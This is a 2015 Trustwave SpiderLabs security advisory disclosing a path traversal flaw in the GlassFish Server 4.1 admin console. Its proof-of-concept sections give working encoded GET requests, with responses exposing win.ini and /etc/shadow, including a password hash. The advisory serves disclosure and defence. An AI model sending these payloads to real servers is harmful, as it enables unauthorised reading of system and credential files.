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Trustwave SpiderLabs Security Advisory TWSL2015-016:
Path Traversal in Oracle GlassFish Server Open Source Edition

Published: 08/27/2015
Version: 1.0

Vendor: Oracle Corporation (Project sponsored by Oracle)
Product: GlassFish Server Open Source Edition
Version affected:  4.1 and prior versions

Product description:
Built using the GlassFish Server Open Source Edition, Oracle GlassFish
Server delivers a flexible, lightweight and extensible Java EE 6 platform.
It provides a small footprint, fully featured Java EE application server
that is completely supported for commercial deployment and is available as
a standalone offering.

The Administration Console of Oracle GlassFish Server, which is listening
by default on port 4848/TCP, is prone to a directory traversal
vulnerability. This vulnerability can be exploited by remote attackers to
access sensitive data on the server being authenticated.

Finding 1: Directory traversal
Credit: Piotr Karolak of Trustwave's SpiderLabs

#Proof of Concept on Microsoft Windows installation

The authenticated Directory Traversal vulnerability can be exploited by
issuing a specially crafted HTTP GET request utilizing a simple bypass,
%C0%2F instead of (/),URL encoding.

Example:

REQUEST
========
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GET /theme/META-INF/json%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GET /theme/META-INF/dojo%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GET /theme/META-INF%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

GET /theme/com/sun%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini 

GET /theme/com%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

Cookie: JSESSIONID=5c47a3575077b014449e17877a0c
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://a.b.c.d:4848/
Host: a.b.c.d:4848


RESPONSE
========
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition  4.1
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition  4.1  Java/Oracle Corporation/1.8)
Last-Modified: Mon, 12 Jan 2015 10:00:00 GMT
Transfer-Encoding: chunked

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo

The response contains the contents of the "win.ini" file, proving that the server allows remote users to download the contents of system files.


#Proof of Concept on Linux installation

Example:

REQUEST
=======

GET /theme/META-INF/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow/

GET /theme/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow HTTP/1.1
Host: a.b.c.d:4848
Accept: */*
Accept-Language: en
Connection: close

RESPONSE
========
HTTP/1.1 200 OK
Server: GlassFish Server Open Source Edition  4.1 
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition  4.1  Java/Oracle Corporation/1.7)
Last-Modified: Tue, 13 Jan 2015 10:00:00 GMT
Date: Tue, 10 Jan 2015 10:00:00 GMT
Connection: close
Content-Length: 1087

root:!:16436:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::

TRUNCATED

lightdm:*:16273:0:99999:7:::
colord:*:16273:0:99999:7:::
hplip:*:16273:0:99999:7:::
pulse:*:16273:0:99999:7:::
test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7:::
smmta:*:16436:0:99999:7:::
smmsp:*:16436:0:99999:7:::
mysql:!:16436:0:99999:7:::

Vendor Response:
"We plan to fix this issue in the next major GlassFish Server Open Source
Edition release."

Remediation Steps:
No fix is available at this time for the GlassFish Server Open Source
Edition release. However, this vulnerability can be mitigated with the use
of technologies, such as Web Application Firewalls (WAF) or Intrusion
Prevention Systems (IPS).  Please note that Oracle GlassFish Server 3.x
which is the current commercial release of GlassFish is not affected.

Revision History:
01/12/2015 - Vulnerability disclosed to vendor
02/18/2015 - Notified vendor about the updates to TW security policy
05/19/2015 - Ninety-day deadline exceeded
07/14/2015 - Requested status from vendor
07/31/2015 - Requested status from vendor
08/21/2015 - Notified vendor about public disclosure
08/27/2015 - Advisory published


References
1. https://www.owasp.org/index.php/Path_Traversal
2. https://glassfish.java.net/
3. http://www.oracle.com/us/products/middleware/cloud-app-foundation/glassfish-server/overview/index.html


About Trustwave:
Trustwave helps businesses fight cybercrime, protect data and reduce
security risks. With cloud and managed security services, integrated
technologies and a team of security experts, ethical hackers and
researchers, Trustwave enables businesses to transform the way they manage
their information security and compliance programs while safely embracing
business imperatives including big data, BYOD and social media. More than
2.5 million businesses are enrolled in the Trustwave TrustKeeper® cloud
platform, through which Trustwave delivers automated, efficient and
cost-effective data protection, risk management and threat intelligence.
Trustwave is a privately held company, headquartered in Chicago, with
customers in 96 countries. For more information about Trustwave, visit
www.trustwave.com.

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.